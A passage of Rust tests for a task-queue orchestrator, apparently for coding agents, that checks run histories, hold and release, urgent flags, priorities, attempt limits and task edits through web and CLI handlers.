17578 (h[0].exit, h[0].attempt),
17579 (RunExit::Parked, AttemptCost::Refunded)
17580 );
17581 assert!(
17582 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17583 "{}",
17584 h[0].outcome
17585 );
17586 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17587 assert!(
17588 h[0].outcome.contains("pass #2 resumed the same run"),
17589 "{}",
17590 h[0].outcome
17591 );
17592 assert!(
17593 h[0].outcome.contains("pass 1 of 2 over run"),
17594 "{}",
17595 h[0].outcome
17596 );
17597 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17598 assert_eq!(
17599 h[0].exit_label,
17600 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17601 );
17602 let f = task_flow(&task, &h, 2, None);
17603 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17605 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17606 assert!(
17607 f.edges[1].label.contains("upgrade 0.121.0"),
17608 "{}",
17609 f.edges[1].label
17610 );
17611 assert!(
17612 f.edges[1].label.contains("resume the same run"),
17613 "{}",
17614 f.edges[1].label
17615 );
17616 assert_eq!(f.nodes[1].note, Some("parked"));
17617 }
17618
17619 #[test]
17620 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17621 let mut a = flow_run(RunStatus::Implementing, |s| {
17622 s.passes = vec![
17623 recorded_pass(0, parked(upgrade_cause())),
17624 recorded_pass(1, None),
17625 ];
17626 });
17627 let mut b = flow_run(RunStatus::Failed, |s| {
17628 s.passes = vec![recorded_pass(0, None)];
17629 });
17630 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17631 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17632 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17633 let mut task = flow_task(&[]);
17634 task.start("a".into());
17635 task.start("b".into());
17636 task.start("a".into());
17637 assert_eq!(task.runs, ["b", "a"]);
17638 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17639 let h = task_history(&task, |id| {
17640 Some(if id == "a" { a.clone() } else { b.clone() })
17641 });
17642 assert_eq!(
17643 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17644 ["a", "b", "a"]
17645 );
17646 assert_eq!(h[0].attempt, AttemptCost::Refunded);
17647 assert!(h[0].outcome.contains("upgrade"));
17648 assert_eq!(h[2].kind, "resume");
17649 assert!(h[2].pass.is_some());
17650 task.runs = vec!["a".into(), "b".into(), "a".into()];
17652 let old = task_history(&task, |id| {
17653 Some(if id == "a" { a.clone() } else { b.clone() })
17654 });
17655 assert_eq!(
17656 old.iter()
17657 .map(|v| (&v.id, &v.kind, v.attempt))
17658 .collect::<Vec<_>>(),
17659 h.iter()
17660 .map(|v| (&v.id, &v.kind, v.attempt))
17661 .collect::<Vec<_>>()
17662 );
17663 }
17664
17665 #[test]
17666 fn an_upgrade_whose_target_was_not_known_says_so() {
17667 let run = flow_run(RunStatus::Implementing, |s| {
17668 s.passes = vec![
17669 recorded_pass(
17670 0,
17671 parked(crate::run::ParkCause::Upgrade {
17672 from: "0.121.0".to_owned(),
17673 to: None,
17674 }),
17675 ),
17676 recorded_pass(1, None),
17677 ];
17678 });
17679 let task = flow_task(&[RUN_X, RUN_X]);
17680 let h = task_history(&task, |_| Some(run.clone()));
17681 assert!(
17682 h[0].outcome.contains("upgrade from 0.121.0"),
17683 "{}",
17684 h[0].outcome
17685 );
17686 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17688 }
17689
17690 #[test]
17691 fn each_pass_keeps_its_own_cause_across_several_resumes() {
17692 use crate::queue::PassCost;
17693 use crate::run::ParkCause;
17694 let run = flow_run(RunStatus::Implementing, |s| {
17695 s.passes = vec![
17696 recorded_pass(0, parked(upgrade_cause())),
17697 recorded_pass(
17698 1,
17699 parked(ParkCause::Interrupt {
17700 reason: "task a1b2 asked to run first".to_owned(),
17701 }),
17702 ),
17703 recorded_pass(2, parked(ParkCause::Operator)),
17704 recorded_pass(3, None),
17705 ];
17706 });
17707 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17708 task.attempts = 1;
17709 task.passes = (0..3)
17710 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17711 .collect();
17712 let h = task_history(&task, |_| Some(run.clone()));
17713 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17714 assert!(
17715 h[1].outcome.contains("task a1b2 asked to run first"),
17716 "{}",
17717 h[1].outcome
17718 );
17719 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17720 assert!(
17721 h[2].outcome.contains("operator asked the loop to park"),
17722 "{}",
17723 h[2].outcome
17724 );
17725 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17726 let f = task_flow(&task, &h, 2, None);
17727 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17728 }
17729
17730 #[test]
17731 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17732 let run = flow_run(RunStatus::Implementing, |s| {
17733 s.passes = vec![
17734 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17735 recorded_pass(1, None),
17736 ];
17737 });
17738 let task = flow_task(&[RUN_X, RUN_X]);
17739 let h = task_history(&task, |_| Some(run.clone()));
17740 assert_eq!(h[0].exit, RunExit::Interrupted);
17741 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17742 assert!(
17743 h[0].outcome.contains("without recording why"),
17744 "{}",
17745 h[0].outcome
17746 );
17747 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17748 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17749 }
17750
17751 #[test]
17752 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17753 use crate::queue::PassCost;
17754 let run = flow_run(RunStatus::Implementing, |s| {
17757 s.passes = vec![
17758 recorded_pass(0, parked(upgrade_cause())),
17759 recorded_pass(1, None),
17760 ];
17761 });
17762 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17763 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17764 let h = task_history(&task, |_| Some(run.clone()));
17765 assert!(h[0].pass.is_none());
17766 assert_eq!(h[0].exit, RunExit::Interrupted);
17767 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17768 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17769 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17770 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17771 let legacy = flow_run(RunStatus::Implementing, |_| {});
17773 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17774 assert!(h.iter().all(|v| v.pass.is_none()));
17775 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17776 }
17777
17778 #[test]
17779 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17780 use crate::queue::PassCost;
17781 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17784 web.task_entry = false;
17785 let run = flow_run(RunStatus::Implementing, |s| {
17786 s.passes = vec![
17787 recorded_pass(0, parked(upgrade_cause())),
17788 web.clone(),
17789 recorded_pass(2, None),
17790 ];
17791 });
17792 let mut task = flow_task(&[RUN_X, RUN_X]);
17793 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17794 let h = task_history(&task, |_| Some(run.clone()));
17795 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17796 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17797
17798 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17801 web0.task_entry = false;
17802 let run = flow_run(RunStatus::Implementing, |s| {
17803 s.passes = vec![web0.clone(), recorded_pass(1, None)];
17804 });
17805 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17806 assert!(h[0].pass.is_none());
17807 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17808 assert!(h[1].pass.is_some());
17809 }
17810
17811 #[tokio::test]
17812 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17813 let dir = tempfile::tempdir().unwrap();
17814 let queue = Queue::at(dir.path().join("queue"));
17815 let ui = Arc::new(Ui::new(
17816 queue.clone(),
17817 Questions::at(dir.path().join("questions")),
17818 Talks::at(dir.path().join("talks")),
17819 dir.path().join("runs"),
17820 dir.path().to_path_buf(),
17821 dir.path().to_path_buf(),
17822 ));
17823 let mut t = Task::new(
17824 "recover".into(),
17825 "Inspect".into(),
17826 PathBuf::from("."),
17827 Source::Human,
17828 );
17829 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17830 t.start("run-A".into());
17831 t.release_operator("choice", Some("resume-question"));
17832 t.resume_override = Some(crate::queue::OperatorResume {
17833 question_id: "resume-question".into(),
17834 at: jiff::Timestamp::now(),
17835 conductor_rehold: None,
17836 forced: true,
17837 pinned_run: Some("run-A".into()),
17838 });
17839 t.hold_machine(Some("inspection pending".into()));
17840 t.edit("recover".into(), "Reuse approved PR head".into())
17841 .unwrap();
17842 queue.put(&mut t).unwrap();
17843 let mut cli = t.clone();
17844 cli.release_operator("cli", None);
17845 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17846 let reloaded = queue.get(&t.id).unwrap();
17847 assert_eq!(reply.task.status, TaskStatus::Queued);
17848 assert!(reloaded.resume_override.is_none());
17849 assert_eq!(reloaded.answers, t.answers);
17850 let mut web = reloaded.resumption.unwrap();
17851 let cli = cli.resumption.unwrap();
17852 assert_eq!(web.source, "web");
17853 web.source = cli.source.clone();
17854 web.at = cli.at;
17855 assert_eq!(web, cli);
17856 }
17857
17858 #[tokio::test]
17859 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17860 let f = Fixture::start().await;
17861 let queue = f.queue();
17862 let mut task = Task::new(
17863 "spent".to_owned(),
17864 "Try again".to_owned(),
17865 PathBuf::from("/repo/magi"),
17866 Source::Human,
17867 );
17868 task.start("20260902-140502-bbbb".to_owned());
17869 task.fail("agent gave up", 9);
17870 queue.put(&mut task).expect("file the task");
17871
17872 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17873 assert_eq!(held.status, 200);
17874 assert_eq!(held.json()["status_str"], "held");
17875
17876 let released = f
17877 .post(&format!("/api/queue/{}/release", task.id), None)
17878 .await;
17879 assert_eq!(released.status, 200);
17880 assert_eq!(released.json()["status_str"], "queued");
17881 assert_eq!(released.json()["resumption"]["source"], "web");
17882 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17883 let mut cli = task.clone();
17884 cli.release_operator("cli", None);
17885 let web = queue.get(&task.id).unwrap().resumption.unwrap();
17886 let cli = cli.resumption.unwrap();
17887 assert_eq!(web.instruction, cli.instruction);
17888 assert_eq!(web.answers_through, cli.answers_through);
17889 assert_eq!(web.runs_through, cli.runs_through);
17890 assert_eq!(web.cleared_reason, cli.cleared_reason);
17891 assert_eq!(
17892 released.json()["attempts"],
17893 0,
17894 "release is a real second chance, not an instant re-hold"
17895 );
17896 assert_eq!(
17897 queue.get(&task.id).expect("reload").status,
17898 TaskStatus::Queued,
17899 "the change is on disk, not only in the reply"
17900 );
17901 assert!(
17902 !f.home
17903 .path()
17904 .join("queue")
17905 .join(format!("{}.lock", task.id))
17906 .exists(),
17907 "the claim the mutation took is released again"
17908 );
17909 }
17910
17911 #[tokio::test]
17912 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17913 let f = Fixture::start().await;
17914 let queue = f.queue();
17915 let mut task = Task::new(
17916 "busy".to_owned(),
17917 "Running right now".to_owned(),
17918 PathBuf::from("/repo/magi"),
17919 Source::Human,
17920 );
17921 queue.put(&mut task).expect("file the task");
17922 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17923
17924 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17925
17926 assert_eq!(res.status, 409);
17927 assert_eq!(
17928 queue.get(&task.id).expect("reload").status,
17929 TaskStatus::Queued,
17930 "the refused hold changed nothing"
17931 );
17932 }
17933
17934 #[tokio::test]
17935 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17936 let f = Fixture::start().await;
17937 let queue = f.queue();
17938 let mut task = Task::new(
17939 "waiting on the migration".to_owned(),
17940 "Do the thing".to_owned(),
17941 PathBuf::from("/repo/magi"),
17942 Source::Human,
17943 );
17944 queue.put(&mut task).expect("file the task");
17945
17946 let held = f
17947 .post(
17948 &format!("/api/queue/{}/hold", task.id),
17949 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17950 )
17951 .await;
17952 assert_eq!(held.status, 200, "{}", held.body);
17953 assert_eq!(held.json()["status_str"], "held");
17954 assert_eq!(
17955 held.json()["hold_reason"],
17956 "waiting for 20260101-000000-aaaa to land"
17957 );
17958
17959 let listed = f.get("/api/queue").await.json();
17960 assert_eq!(
17961 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17962 "the card reads the reason off the same list route"
17963 );
17964
17965 let mut plain = Task::new(
17968 "no reason given".to_owned(),
17969 "Do another thing".to_owned(),
17970 PathBuf::from("/repo/magi"),
17971 Source::Human,
17972 );
17973 queue.put(&mut plain).expect("file the task");
17974 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17975 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17976 assert!(held_plain.json()["hold_reason"].is_null());
17977
17978 let released = f
17979 .post(&format!("/api/queue/{}/release", task.id), None)
17980 .await;
17981 assert_eq!(released.status, 200);
17982 assert!(
17983 released.json()["hold_reason"].is_null(),
17984 "a release must clear the reason so the next hold does not inherit it"
17985 );
17986 }
17987
17988 #[test]
17989 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17990 for urgent in [true, false] {
17991 let body: UrgentBody =
17992 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17993 assert_eq!(body.urgent, urgent);
17994 }
17995 for input in [
17996 r#"{}"#,
17997 r#"{"urgent":null}"#,
17998 r#"{"urgent":"true"}"#,
17999 r#"{"urgent":1}"#,
18000 r#"{"urgent":true,"extra":false}"#,
18001 ] {
18002 assert!(
18003 serde_json::from_str::<UrgentBody>(input).is_err(),
18004 "{input}"
18005 );
18006 }
18007 }
18008
18009 #[tokio::test]
18010 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18011 let home = TempDir::new().unwrap();
18012 let q = Queue::at(home.path().join("queue"));
18013 let ui = Arc::new(Ui::new(
18014 q.clone(),
18015 Questions::at(home.path().join("questions")),
18016 Talks::at(home.path().join("talks")),
18017 home.path().join("runs"),
18018 home.path().into(),
18019 home.path().into(),
18020 ));
18021 let mut task = Task::new(
18022 "urgent handler".into(),
18023 "keep".into(),
18024 home.path().into(),
18025 Source::Human,
18026 );
18027 for status in [TaskStatus::Queued, TaskStatus::Held] {
18028 task.status = status;
18029 q.put(&mut task).unwrap();
18030 for urgent in [true, true, false, false] {
18031 let saved = queue_urgent(
18032 State(Arc::clone(&ui)),
18033 Path(task.short().into()),
18034 Ok(Json(UrgentBody { urgent })),
18035 )
18036 .await
18037 .unwrap();
18038 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18039 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18040 }
18041 }
18042 task.status = TaskStatus::Queued;
18043 q.put(&mut task).unwrap();
18044 let claim = q.claim(&task.id).unwrap();
18045 let error = queue_urgent(
18046 State(Arc::clone(&ui)),
18047 Path(task.id.clone()),
18048 Ok(Json(UrgentBody { urgent: true })),
18049 )
18050 .await
18051 .unwrap_err();
18052 assert_eq!(error.status, StatusCode::CONFLICT);
18053 assert!(error.message.contains("released"));
18054 drop(claim);
18055 for status in [
18056 TaskStatus::Running,
18057 TaskStatus::Done,
18058 TaskStatus::Failed,
18059 TaskStatus::Blocked,
18060 TaskStatus::Parked,
18061 ] {
18062 task.status = status;
18063 q.put(&mut task).unwrap();
18064 let error = queue_urgent(
18065 State(Arc::clone(&ui)),
18066 Path(task.id.clone()),
18067 Ok(Json(UrgentBody { urgent: false })),
18068 )
18069 .await
18070 .unwrap_err();
18071 assert_eq!(error.status, StatusCode::BAD_REQUEST);
18072 assert!(error.message.contains(status.as_str()));
18073 }
18074 }
18075
18076 #[tokio::test]
18077 async fn urgent_api_updates_preserves_and_validates_tasks() {
18078 let f = Fixture::start().await;
18079 let q = f.queue();
18080 let mut t = Task::new(
18081 "urgent API".into(),
18082 "unchanged".into(),
18083 PathBuf::from("/repo/magi"),
18084 Source::Human,
18085 );
18086 t.attempts = 2;
18087 t.priority = 9;
18088 t.interrupt = true;
18089 t.hold_reason = Some("waiting for approval".into());
18090 for status in [TaskStatus::Queued, TaskStatus::Held] {
18091 t.status = status;
18092 q.put(&mut t).unwrap();
18093 for urgent in [true, true, false, false] {
18094 let response = f
18095 .post(
18096 &format!("/api/queue/{}/urgent", t.short()),
18097 Some(&format!("{{\"urgent\":{urgent}}}")),
18098 )
18099 .await;
18100 assert_eq!(response.status, 200, "{}", response.body);
18101 assert_eq!(response.json()["urgent"], urgent);
18102 let saved = q.get(&t.id).unwrap();
18103 let mut before = serde_json::to_value(&t).unwrap();
18104 let mut after = serde_json::to_value(saved).unwrap();
18105 before["urgent"] = urgent.into();
18106 before.as_object_mut().unwrap().remove("updated_at");
18107 after.as_object_mut().unwrap().remove("updated_at");
18108 assert_eq!(after, before);
18109 }
18110 }
18111 let route = format!("/api/queue/{}/urgent", t.id);
18112 for body in [
18113 r#"{}"#,
18114 r#"{"urgent":null}"#,
18115 r#"{"urgent":"true"}"#,
18116 r#"{"urgent":1}"#,
18117 r#"{"urgent":true,"extra":false}"#,
18118 "{",
18119 ] {
18120 assert_eq!(f.post(&route, Some(body)).await.status, 400);
18121 }
18122 t.status = TaskStatus::Queued;
18123 q.put(&mut t).unwrap();
18124 let claim = q.claim(&t.id).unwrap();
18125 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18126 assert_eq!(response.status, 409, "{}", response.body);
18127 assert!(!q.get(&t.id).unwrap().urgent);
18128 drop(claim);
18129 for status in [
18130 TaskStatus::Running,
18131 TaskStatus::Done,
18132 TaskStatus::Failed,
18133 TaskStatus::Blocked,
18134 TaskStatus::Parked,
18135 ] {
18136 t.status = status;
18137 q.put(&mut t).unwrap();
18138 for urgent in [true, false] {
18139 let response = f
18140 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18141 .await;
18142 assert_eq!(response.status, 400, "{}", response.body);
18143 assert!(response.body.contains(status.as_str()));
18144 assert!(response.body.contains("queued or held"));
18145 assert!(!q.get(&t.id).unwrap().urgent);
18146 }
18147 }
18148 assert_eq!(
18149 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18150 .await
18151 .status,
18152 404
18153 );
18154 }
18155
18156 #[tokio::test]
18157 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18158 let f = Fixture::start().await;
18159 let queue = f.queue();
18160 let mut older = Task::new(
18161 "filed first".to_owned(),
18162 "x".to_owned(),
18163 PathBuf::from("/repo/magi"),
18164 Source::Human,
18165 );
18166 older.id = "20260101-000001-aaaa".to_owned();
18167 let mut newer = Task::new(
18168 "filed second".to_owned(),
18169 "x".to_owned(),
18170 PathBuf::from("/repo/magi"),
18171 Source::Human,
18172 );
18173 newer.id = "20260101-000002-bbbb".to_owned();
18174 queue.put(&mut older).expect("file older");
18175 queue.put(&mut newer).expect("file newer");
18176
18177 let before = f.get("/api/queue").await.json();
18180 assert_eq!(before[0]["id"], newer.id);
18181 assert_eq!(before[1]["id"], older.id);
18182
18183 let raised = f
18187 .post(
18188 &format!("/api/queue/{}/priority", older.id),
18189 Some(r#"{"priority":10}"#),
18190 )
18191 .await;
18192 assert_eq!(raised.status, 200, "{}", raised.body);
18193 assert_eq!(raised.json()["priority"], 10);
18194
18195 let after = f.get("/api/queue").await.json();
18196 let names: Vec<&str> = after
18197 .as_array()
18198 .unwrap()
18199 .iter()
18200 .map(|t| t["id"].as_str().unwrap())
18201 .collect();
18202 assert_eq!(names[0], older.id, "the raised task now sorts first");
18206 }
18207
18208 #[tokio::test]
18209 async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18210 let f = Fixture::start().await;
18211 let queue = f.queue();
18212 let mut tasks = Vec::new();
18213 for id in [
18214 "20260101-000001-aaaa",
18215 "20260101-000002-bbbb",
18216 "20260101-000003-cccc",
18217 ] {
18218 let mut task = Task::new(
18219 id.into(),
18220 "x".into(),
18221 PathBuf::from("/repo/magi"),
18222 Source::Human,
18223 );
18224 task.id = id.into();
18225 queue.put(&mut task).unwrap();
18226 tasks.push(task);
18227 }
18228 assert_eq!(
18229 queue.next_runnable().unwrap().id,
18230 tasks[0].id,
18231 "equal priorities use ascending id"
18232 );
18233 let route = format!("/api/queue/{}/priority", tasks[2].id);
18234 assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18235 assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18236 tasks[1].start("upgrade-run".into());
18237 tasks[1].park("upgrade");
18238 tasks[1].record_pass_at(
18239 "upgrade-run",
18240 0,
18241 Some("2026-01-01T00:00:00Z".parse().unwrap()),
18242 1,
18243 Some(crate::run::ParkCause::Upgrade {
18244 from: "old".into(),
18245 to: None,
18246 }),
18247 );
18248 queue.put(&mut tasks[1]).unwrap();
18249 let rows = f.get("/api/queue").await.json();
18250 let upgrade = rows
18251 .as_array()
18252 .unwrap()
18253 .iter()
18254 .find(|row| row["id"] == tasks[1].id)
18255 .unwrap();
18256 assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18257 assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18258 tasks[2] = queue.get(&tasks[2].id).unwrap();
18259 tasks[2].start("running-run".into());
18260 queue.put(&mut tasks[2]).unwrap();
18261 assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18262 assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18263 }
18264
18265 #[tokio::test]
18266 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18267 let dir = TempDir::new().unwrap();
18268 let q = Queue::at(dir.path().join("queue"));
18269 let ui = Arc::new(Ui::new(
18270 q.clone(),
18271 Questions::at(dir.path().join("questions")),
18272 Talks::at(dir.path().join("talks")),
18273 dir.path().join("runs"),
18274 dir.path().to_path_buf(),
18275 dir.path().to_path_buf(),
18276 ));
18277 let mut t = Task::new(
18278 "budget".into(),
18279 "keep".into(),
18280 dir.path().into(),
18281 Source::Human,
18282 );
18283 t.attempts = 2;
18284 t.runs.push("prior-run".into());
18285 t.hold_manual(Some("waiting".into()));
18286 q.put(&mut t).unwrap();
18287 let change = |value| {
18288 queue_attempt_limit(
18289 State(ui.clone()),
18290 Path(t.id.clone()),
18291 Ok(Json(AttemptLimitBody {
18292 attempt_limit: value,
18293 })),
18294 )
18295 };
18296 for value in [
18297 serde_json::json!(3),
18298 serde_json::Value::Null,
18299 serde_json::json!(1),
18300 ] {
18301 let response = change(value.clone()).await.unwrap();
18302 assert_eq!(
18303 serde_json::to_value(response.0).unwrap()["attempt_limit"],
18304 value
18305 );
18306 let saved = q.get(&t.id).unwrap();
18307 assert_eq!(
18308 serde_json::to_value(&saved).unwrap()["attempt_limit"],
18309 value
18310 );
18311 assert_eq!(saved.status, TaskStatus::Held);
18312 assert_eq!(saved.attempts, t.attempts);
18313 assert_eq!(saved.runs, t.runs);
18314 assert_eq!(saved.hold_reason, t.hold_reason);
18315 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18316 .await
18317 .unwrap()
18318 .0;
18319 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18320 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18321 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18322 assert_eq!(outcome.max_attempts, detail.max_attempts);
18323 }
18324 for value in [
18325 serde_json::json!(0),
18326 serde_json::json!(-1),
18327 serde_json::json!(1.5),
18328 serde_json::json!("3"),
18329 serde_json::json!(true),
18330 ] {
18331 assert_eq!(
18332 change(value).await.err().unwrap().status,
18333 StatusCode::BAD_REQUEST
18334 );
18335 }
18336 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18337 let claim = q.claim(&t.id).unwrap();
18338 assert_eq!(
18339 change(serde_json::json!(4)).await.err().unwrap().status,
18340 StatusCode::CONFLICT
18341 );
18342 drop(claim);
18343 for status in [
18344 TaskStatus::Running,
18345 TaskStatus::Done,
18346 TaskStatus::Failed,
18347 TaskStatus::Blocked,
18348 TaskStatus::Parked,
18349 ] {
18350 let mut stored = q.get(&t.id).unwrap();
18351 stored.status = status;
18352 q.put(&mut stored).unwrap();
18353 assert_eq!(
18354 change(serde_json::json!(4)).await.err().unwrap().status,
18355 StatusCode::BAD_REQUEST
18356 );
18357 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18358 }
18359 let mut stored = q.get(&t.id).unwrap();
18360 stored.status = TaskStatus::Queued;
18361 q.put(&mut stored).unwrap();
18362 let _ = change(serde_json::Value::Null).await.unwrap();
18363 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18364 }
18365
18366 #[tokio::test]
18367 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18368 let dir = TempDir::new().unwrap();
18369 let repo = dir.path().join("repo");
18370 std::fs::create_dir(&repo).unwrap();
18371 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18372 let q = Queue::at(dir.path().join("queue"));
18373 let ui = Arc::new(Ui::new(
18374 q.clone(),
18375 Questions::at(dir.path().join("questions")),
18376 Talks::at(dir.path().join("talks")),
18377 dir.path().join("runs"),
18378 dir.path().to_path_buf(),
18379 repo.clone(),
18380 ));
18381 let mut t = Task::new(
18382 "seats".into(),
18383 "keep instruction".into(),
18384 repo,
18385 Source::Human,
18386 );
18387 t.runs.push("prior-run".into());
18388 t.hold_manual(Some("waiting".into()));
18389 q.put(&mut t).unwrap();
18390 let change = |count| {
18391 queue_implementers(
18392 State(ui.clone()),
18393 Path(t.id.clone()),
18394 Ok(Json(ImplementersBody {
18395 implementers: count,
18396 })),
18397 )
18398 };
18399 for count in [2, 1, 2] {
18400 let response = change(count).await.unwrap();
18401 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18402 let saved = q.get(&t.id).unwrap();
18403 assert_eq!(saved.implementers(), Some(usize::from(count)));
18404 assert_eq!(saved.runs, t.runs);
18405 assert_eq!(saved.instruction, t.instruction);
18406 }
18407 for count in [0, 4] {
18408 assert_eq!(
18409 change(count).await.err().unwrap().status,
18410 StatusCode::BAD_REQUEST
18411 );
18412 }
18413 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18414 let claim = q.claim(&t.id).unwrap();
18415 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18416 drop(claim);
18417 for status in [
18418 TaskStatus::Running,
18419 TaskStatus::Done,
18420 TaskStatus::Failed,
18421 TaskStatus::Blocked,
18422 TaskStatus::Parked,
18423 ] {
18424 let mut stored = q.get(&t.id).unwrap();
18425 stored.status = status;
18426 q.put(&mut stored).unwrap();
18427 assert_eq!(
18428 change(1).await.err().unwrap().status,
18429 StatusCode::BAD_REQUEST
18430 );
18431 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18432 }
18433 }
18434
18435 #[tokio::test]
18436 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18437 let f = Fixture::start().await;
18438 let queue = f.queue();
18439 let mut task = Task::new(
18440 "in flight".to_owned(),
18441 "x".to_owned(),
18442 PathBuf::from("/repo/magi"),
18443 Source::Human,
18444 );
18445 task.start("20260902-140502-bbbb".to_owned());
18446 queue.put(&mut task).expect("file the task");
18447
18448 let res = f
18449 .post(
18450 &format!("/api/queue/{}/priority", task.id),
18451 Some(r#"{"priority":9}"#),
18452 )
18453 .await;
18454 assert_eq!(res.status, 400, "{}", res.body);
18455 assert!(
18456 res.json()["error"]
18457 .as_str()
18458 .is_some_and(|e| e.contains("running")),
18459 "{}",
18460 res.body
18461 );
18462 assert_eq!(
18463 queue.get(&task.id).expect("reload").priority,
18464 0,
18465 "the refused write must not partially apply"
18466 );
18467 }
18468
18469 #[tokio::test]
18470 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18471 let f = Fixture::start().await;
18472 let queue = f.queue();
18473 let mut task = Task::new(
18474 "old title".to_owned(),
18475 "old instruction".to_owned(),
18476 PathBuf::from("/repo/magi"),
18477 Source::Agent {
18478 run: "20260101-000000-beef".to_owned(),
18479 node: "implement".to_owned(),
18480 },
18481 );
18482 task.runs.push("20260101-000000-beef".to_owned());
18483 queue.put(&mut task).expect("file the task");
18484 let created_at = task.created_at;
18485
18486 let edited = f
18487 .post(
18488 &format!("/api/queue/{}/edit", task.id),
18489 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18490 )
18491 .await;
18492 assert_eq!(edited.status, 200, "{}", edited.body);
18493 let body = edited.json();
18494 assert_eq!(body["title"], "new title");
18495 assert_eq!(body["instruction"], "new instruction");
18496 assert_eq!(body["id"], task.id, "editing must not mint a new id");
18497 assert_eq!(body["created_at"], created_at.to_string());
18498 assert_eq!(
18499 body["source"]["kind"], "agent",
18500 "editing a task an agent filed must not turn it human: {body}"
18501 );
